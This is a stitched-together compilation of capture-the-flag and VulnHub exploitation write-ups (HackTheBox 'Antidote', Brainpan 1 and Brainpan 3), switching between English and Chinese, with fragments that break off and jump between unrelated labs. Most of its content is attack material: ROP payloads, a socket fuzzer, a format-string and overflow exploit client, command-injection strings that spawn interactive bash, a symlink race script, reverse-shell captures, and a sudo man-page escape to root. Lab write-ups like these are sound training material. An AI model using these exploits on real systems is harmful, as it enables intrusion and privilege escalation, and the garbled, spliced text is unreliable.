┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# file antidote antidote: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# checksec antidote [*] '/root/hackthebox/challenge/pwn/Antidote/antidote' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
2. General overview:
As can be seen above, the executable has been compiled for ARM processors, and executing it on an x86_64 architecture would normally result in an error telling us that:
The binary file cannot be executed due to an error in the executable format.
It is because instructions are encoded differently on these two architectures.
You can bypass this restriction with the QEMU user-space emulator which allows you to run binaries for other architectures on our host system.
3. Install needed packages:
I am using Linux Mint 20, but it should work on Ubuntu as well:
Executing the binary with the QEMU user emulator shows another error:
1 2 3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# qemu-arm -L /usr/arm-linux-gnueabihf ./antidote qemu-arm: Could not open '/lib/ld-linux.so.3': No such file or directory
Dynamic linker ld-linux.so.3 is needed, but it is named differently in the arm-linux-gnueabihf directory => (ld-linux-armhf.so.3).
To run binary you could copy this or link it to the /lib/ directory:
1 2 3 4 5 6 7
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# cp /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 /lib/ld-linux.so.3 ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# qemu-arm -L /usr/arm-linux-gnueabihf ./antidote Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs! Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here! Careful there! That hurt!
4. Debugging ARM binaries on X86_64
One of the ways you can debug this binary is to use the qemu-user emulator and tell GDB to connect to it through a TCP port.
To do this, run qemu-arm with the -g flag and a port number on which it should wait for a GDB connection.
The -L flag sets the ELF interpreter prefix to the path you supply.
The –nh flag instructs it to not read the .gdbinit file (it can get buggy if you have a GDB wrapper installed)
The -ex options are the commands we want gdb-multiarch to set at the start of the session.
The first one sets the target architecture to arm (use arm64 for 64-bit binaries)
Then the binary itself, tell it where to find the binary running in our qemu-arm emulation.
The final two commands are used to split and display the source, disassembly, command, and register windows.
5. First vulnerability — Buffer overflow:
First, continue the execution in gdb (1).
Generate the de Bruijn sequence using cyclic (2).
Copy-paste the payload (3).
Spot the instruction pointer overflow (4). (EIP == PC on the ARM arch)
Check the offset (5).
6. Control the execution flow:
Restart the binary and attach gdb.
Create an overflow and set the 220–224 bytes to “BBBB” to confirm the Program Counter control.
7. Set up ARM environment:
Up to this point, I did everything on my operating system, however, I ran into some debugger configuration issues and I didn’t want to make more changes to the host system, this pushed me to use the ready environment prepared by Maria Markstedter, available at this link.
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
In ARM the first four arguments are passed via r0 to r3 and later arguments are passed through the stack.
In this case, the system function takes one argument as the command to be executed.
To get a shell you need to pass the string “/bin/sh” as the first argument in the register r0 and after that, call the system function.
Below is an example of a buffer overflow scenario with pop {r0, r4, pc} ROP gadget chain.
(1) Padding of 220 “A” bytes.
(2) Address of ROP gadget from libc-2.19.so. (it is libc used on Raspberry for local exploit only)
(3) Pointer to “/bin/sh\x00” string from libc-2.19.so popped into R0.
(4) Random junk-string popped into R4 register.
(5) System address from libc-2.19.so popped into PC.
1 2 3 4 5 6 7 8 9 10 11
### HOW TO GET THE ADDRESSES: ROPgadget --binary libc-2.19.so | grep "pop {r0, r4, pc}" 0x0007a12c : pop {r0, r4, pc} --- strings -t x -a libc-2.19.so| grep "/bin/sh" 11db20 /bin/sh --- nm -D libc-2.19.so | grep '\<system\>' 00039fac W system --- python -c 'print "A"*220 + "\x2c\xe1\xeb\xb6" + "\x20\x1b\xf6\xb6" + "A" *4 + "\xac\xdf\xe7\xb6"' > payload
Local code execution:
9. Remote exploit — RET2CSU:
In order to exploit the “Antidote” remotely, you have to leak the base libc address during binary runtime.
The libc.so.6 library used on the target machine was made available in the challenge package.
To calculate the base libc address, it will be needed to leak __write address from libc.so.6 during binary execution and its dynamic symbol address before execution.
You can utilize the write(2) functionality to do that because write() the function can be found within antidote binary which is loaded without any randomization on any system:
RET2CSU exploit explained in three gadgets && three steps:
Fill R10, R8 and R7 with the three parameters for write() function.
Fill R3 with the address of the write() function 0x8420.
Utilize 3rd gadget for register swap and branching to the address inside R3.
print("Leaked write from libc: " + hex(leaked_write_libc)) libc_base = leaked_write_libc - 0x0008cbc5 print("Libc base address: " + hex(libc_base))
10. Remote Code Execution:
There is no ASLR on the remote machine — you can deduce it after running the above script multiple times (Libc base address doesn’t change).
Use the leaked base address of libc to calculate proper addresses of ROP gadget, system() and “/bin/sh” pointer.
First, get the relative addresses:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
### How to get the address of ROP gadget: ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# ROPgadget --binary libc.so.6 | grep "pop {r0, r4, pc}" 0x0005919c : pop {r0, r4, pc}
### How to get the pointer to "/bin/sh" ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# strings -t x -a libc.so.6| grep "/bin/sh" d5f2c /bin/sh
### How to get the system address: ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Antidote] └─# nm -D libc.so.6 | grep '\<system\>' 0002d4cd W system@@GLIBC_2.4
Then add relative addresses to the leaked address of libc.
Working script with proper calculations, final exploit script:
root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.115 Host is up (0.00042s latency). MAC Address: 08:00:27:DE:BA:CA (Oracle VirtualBox virtual NIC)
root@kali:~# nmap -p- -v -Pn -sV 192.168.56.115 PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py [-] Connecting to 192.168.43.98 [-] Sending payload.... Done
1 2 3 4 5 6 7 8
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe [+] initializing winsock...done. [+] server socket created. [+] binddone on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(_] [get_reply] copied 1003 bytes to buffer
import sys,socket victim = '192.168.43.98' port = 9999 junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" payload = junk s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print"[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print"[-] Sending payload.... ", s.send(payload) print"Done" except: print"[-] Unable to connect to " + str(victim) sys.exit(0)
下一步。重新启动brainpan.exe进程,重新附加到进程,然后将模糊测试脚本发送给侦听器。
1 2 3
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py [-] Connecting to 192.168.43.98 [-] Sending payload.... Done
1 2 3 4 5 6 7 8
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe [+] initializing winsock...done. [+] server socket created. [+] binddone on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B(_] [get_reply] copied 1003 bytes to buffer
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.56.1: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.1] 18602 Microsoft Windows [�汾 10.0.18363.592] (c) 2019 Microsoft Corporation����������Ȩ����
C:\Users\HASEE\Desktop\brainpan1>chcp 65001 chcp 65001 Active code page: 65001
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.56.115: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.115] 39737 id uid=1002(puck) gid=1002(puck) groups=1002(puck) python -c 'import pty; pty.spawn("/bin/bash")' puck@brainpan:/home/puck$ id id uid=1002(puck) gid=1002(puck) groups=1002(puck) puck@brainpan:/home/puck$ whoami whoami puck puck@brainpan:/home/puck$ ls ls checksrv.sh web puck@brainpan:/home/puck$
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual /bin/bash sudo /home/anansi/bin/anansi_util manual /bin/bash /usr/bin/man: manual-/bin/bash: No such file or directory /usr/bin/man: manual_/bin/bash: No such file or directory No manual entry for manual WARNING: terminal is not fully functional - (press RETURN) BASH(1) BASH(1)
NAME bash - GNU Bourne-Again SHell
SYNOPSIS bash [options] [file]
COPYRIGHT Bash is Copyright (C) 1989-2011 by the Free Software Foundation, Inc.
DESCRIPTION Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incor‐ porates useful features from the Korn and C shells (ksh and csh).
Bash is intended to be a conformant implementation of the Shell and Utilities portion of the IEEE POSIX specification (IEEE Standard 1003.1). Bash can be configured to be POSIX-conformant by default.
OPTIONS All of the single-character shell options documented in the descrip‐ tion of the setbuiltincommand can be used as options when the shell Manual page bash(1) line 1 (press h forhelp or q to quit)!/bin/bash !/bin/bash root@brainpan:/usr/share/man# id id uid=0(root) gid=0(root) groups=0(root) root@brainpan:/usr/share/man# whoami whoami root root@brainpan:/usr/share/man# cd /root cd /root root@brainpan:~# ls ls b.txt root@brainpan:~# cat b.txt cat b.txt _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _|
ENTER COMMAND: $ 3 SELECTED: 3 ENTER NEW SESSION NAME: $ fuckfuckfuckfuck -------------------------------------------------------------- SESSION: fuckfuckfuckfuck
有趣的是,可以从访问代码中使用会话名称复制字符串格式漏洞吗?
1 2 3 4 5
ENTER COMMAND: $ 3 SELECTED: 3 ENTER NEW SESSION NAME: $ %p.%p.%p.%p.%p. -------------------------------------------------------------- SESSION: 0xbfcfddcc.0x104.0x252e7025.0x70252e70.0x2e70252e.
root@kali:~/vulnhub/brainpan3/2# python bp3.py [+] Opening connection to 192.168.56.117 on port 1337: Done [*] Code identified: 4506 [+] Opening connection to 192.168.56.117 on port 1337: Done [+] Opening connection to 192.168.56.117 on port 1337: Done [*] Code identified: 4506 [*] Report 'N' at offset 65 [*] Switching to interactive mode \xff �r\xb7�%\x84\xbf AUTH [Y] REPORT [N] MENU [Y] --------------------------------------------------------------
ENTER COMMAND: SELECTED: 3 ENTER NEW SESSION NAME: -------------------------------------------------------------- SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY AUTH [Y] REPORT [Y] MENU [Y] --------------------------------------------------------------
REPORT [this is my first report!@] SENDING TO REPORT MODULE
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209204930.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED [+] RECORDED [dxyc/yc/}i/vybcd/bu`\x7fbd///]
REPORT [`fuck`s my first report!@] SENDING TO REPORT MODULE
sh: 1: fuck: not found [+] WRITING REPORT TO /home/anansi/REPORTS/20200209205212.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED [+] RECORDED [��������������\xff���\xaf\xaf]
什么?!尝试通过反引号执行命令时,收到命令未找到错误消息。这是否意味着命令执行?
1 2 3 4 5 6 7 8 9
$ `whoami`
REPORT [`whoami`my first report!@] SENDING TO REPORT MODULE
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205443.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED [+] RECORDED [`o`orhlx>ghsru>sdqnsu>>>]
这可能是通过stderr实现的。可以通过管道输出到stderr来接收命令输出吗?
1 2 3 4 5 6 7 8 9 10
$ `whoami >&2`
REPORT [`whoami >&2`irst report!@] SENDING TO REPORT MODULE
anansi [+] WRITING REPORT TO /home/anansi/REPORTS/20200209205645.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED [+] RECORDED [&=<;p=*? =;ppp]
REPORT [`/bin/bash -i >&2`eport!@] SENDING TO REPORT MODULE
bash: cannot set terminal process group (2506): Inappropriate ioctl for device bash: no job control in this shell anansi@brainpan3:/$ $ whoami whoami anansi anansi@brainpan3:/$ $ id id uid=1000(anansi) gid=1003(webdev) groups=1000(anansi) anansi@brainpan3:/$ $ pwd pwd / anansi@brainpan3:/$ $
root@kali:~/vulnhub/brainpan3/2# python bp3.py [+] Opening connection to 192.168.56.117 on port 1337: Done [*] Code identified: 6851 [*] Report 'N' at offset 65 [+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux [+] whoami - anansi [+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi) [*] Switching to interactive mode SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
REPORT [$(/bin/bash -i >&2)] SENDING TO REPORT MODULE
bash: cannot set terminal process group (2677): Inappropriate ioctl for device bash: no job control in this shell anansi@brainpan3:/$ $ id id uid=1000(anansi) gid=1003(webdev) groups=1000(anansi) anansi@brainpan3:/$ $ whoami whoami anansi
root@kali:~/vulnhub/brainpan3/2# checksec cryptor [*] '/root/vulnhub/brainpan3/2/cryptor' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
──────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd208 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' ... ↓ ────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────── ► f 0 42424242 f 1 43434343 f 2 43434343 f 3 43434343 f 4 43434343 f 5 43434343 f 6 43434343 f 7 43434343 f 8 43434343 f 9 43434343 f 10 43434343 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Program received signal SIGSEGV (fault address 0x42424242)
$ netstat -antop | grep LIST (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - off (0.00/0/0) tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN - off (0.00/0/0) tcp 0 0 127.0.0.1:7075 0.0.0.0:* LISTEN - off (0.00/0/0)
连接到它
1 2 3
$ nc localhost 7075 open: No such file or directory Incorrect key
for symbol in elf.symbols: try: if libc.symbols[symbol] < libc.symbols['system']: print symbol, hex(libc.symbols['system'] - libc.symbols[symbol]) except: pass
def add_offset(addr): """Function used to easily add offsets to eax to global rop chain""" add_to_sum = 0x08048feb rop.raw(pop_ebx) rop.raw(addr - 0x1270304) rop.raw(add_to_sum)
.SH TESTERS Special thanks go to barrebas and Swappage taking the time to test Brainpan 3! .br barrebas - .B https://twitter.com/barrebas .br Swappage - .B https://twitter.com/Swappage $ id uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root) $ whoami root
C:\Users\HASEE>nmap -p 8080 -v -sV 192.168.56.117 -r PORT STATE SERVICE VERSION 8080/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer) MAC Address: 08:00:27:90:21:26 (Oracle VirtualBox virtual NIC)
root@kali:~/vulnhub/brainpan3#./report $(./poc.py) [+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep [+] DATA SUCCESSFULLY ENCRYPTED [+] DATA SUCCESSFULLY RECORDED $ id uid=1000(root) gid=1001(root) groups=1001(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev) $
from select import select from socket import * from time import sleep import telnetlib import sys import struct import re class NetcatClient: def __init__(self, host, port): """ Netcat Class init. """ self.host = host self.port = int(port) self.delay = 0.05 self.linemode = False self.sock = socket(AF_INET, SOCK_STREAM) # private functions def __check_state(self, timeout=0): """ Check the socket it's read, write and exception state using select """ # we need abit of a delay to keep things # running smooth sleep(self.delay) return select([self.sock], [self.sock], [self.sock], timeout) # core functions def connect(self): """ Connect to host """ try: self.sock.connect((self.host, self.port)) return True except error as e: print'NetcatClassError:', e return False def close(self): """ Close the connection """ try: self.sock.close() except error as e: print'NetcatClassError:', e def recv(self, size=4096): """ Recieve all data """ try: data = '' readable, writable, exceptional = self.__check_state() if readable: # while socket readable... while readable: # collect all data data += self.sock.recv(size) # re-check socket's state readable, writable, exceptional = self.__check_state() return data except error as e: print'NetcatClassError:', e def send(self, data): """ Send data """ if self.linemode: data += '\n' try: readable, writable, exceptional = self.__check_state() if writable: self.sock.send(data) except error as e: print'NetcatClassError:', e def sendrecv(self, data): """ Send and recieve data """ self.send( data ) return self.recv() def interact(self): """ Interactive telnet client """ try: t = telnetlib.Telnet() t.sock = self.sock t.interact() t.close() except KeyboardInterrupt: self.close() if __name__ == '__main__': # fuzzing code s = NetcatClient('192.168.56.117', '1337') s.linemode = True s.connect() # banner s.recv() # send format string pattern and grab the login code r = s.sendrecv('%3$d') # parse the login code from the reponse l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r) print'login code -> ', l # send login code and log in s.sendrecv('%s'%(l[0])) # send change sessionname commands # with length of 0 ... 255 for i in range(256): s.sendrecv('3') resp = s.sendrecv(i * 'Y') l = re.findall(r"REPORT \[(.*?)\]", resp) print i,'->',l # if value changed to Y break if'Y'in l[0]: print'payload -> %d * Y' % (i) break s.close()
ENTER COMMAND: 3 SELECTED: 3 ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY -------------------------------------------------------------- SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY AUTH [Y] REPORT [Y] MENU [Y] --------------------------------------------------------------
REPORT [";ls;"ckfuckfuckfuck@] SENDING TO REPORT MODULE
/var/www/repo/report <report> [0|1] bin boot dev etc home initrd.img initrd.img.old lib lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old sh: 1: ckfuckfuckfuck@: not found
-------------------------------------------------------------- SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY AUTH [Y] REPORT [Y] MENU [Y] --------------------------------------------------------------
root@kali:~/vulnhub/brainpan3# python report.py [+] Leak access code [+] Access code leaked: 2602 [+] Enabling report feature [+] Sending payload report [+] Dropping into shell anansi@brainpan3:/$ id id uid=1000(anansi) gid=1003(webdev) groups=1000(anansi) anansi@brainpan3:/$ whoami whoami anansi anansi@brainpan3:/$ pwd pwd / anansi@brainpan3:/$ ls ls bin etc initrd.img.old media proc sbin tmp vmlinuz boot home lib mnt root srv usr vmlinuz.old dev initrd.img lost+found opt run sys var anansi@brainpan3:/$ cd home cd home anansi@brainpan3:/home$ ls ls anansi puck reynard anansi@brainpan3:/home$ cd anansi cd anansi anansi@brainpan3:/home/anansi$ ls ls REPORTS lapinblanc.txt anansi@brainpan3:/home/anansi$ cat lapinblanc.txt cat lapinblanc.txt
_ _ / \ / \ { } { } { { } } \ \ / / \ Y / .-"`"`"-. ,` `. / \ / \ { ;"";, } { /";`'`,; } \{ ;`,'`;. / { }`""` } /} { } { // f o l l o w {||} { / m e `"' `"'
import os import time if os.geteuid() != 1002: print'Run as user reynard' else: for i in range(1000) os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt') time.sleep(0.1) os.unlink('/mnt/usb/key.txt') os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt') time.sleep(0.1) os.unlink('/mnt/usb/key.txt') print'[+] Finished'
anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Incorrect key Key file is compromised. Authentication successful id id uid=1001(puck) gid=1004(dev) groups=1001(puck) whoami whoami puck pwd pwd / cd /home cd /home ls ls anansi puck reynard cd puck cd puck ls ls key.txt cat key.txt cat key.txt HBN48HY71ERG5GA6290V ls ls key.txt ls -la ls -la total 24 drwx------ 2 puck puck 4096 Jun 10 2015 . drwxr-xr-x 5 root root 4096 May 19 2015 .. -rw------- 1 puck puck 0 Jun 10 2015 .bash_history -rw-r--r-- 1 puck puck 220 May 19 2015 .bash_logout -rw-r--r-- 1 puck puck 3637 May 19 2015 .bashrc -rw-r--r-- 1 puck puck 675 May 19 2015 .profile -rw------- 1 puck puck 21 May 19 2015 key.txt
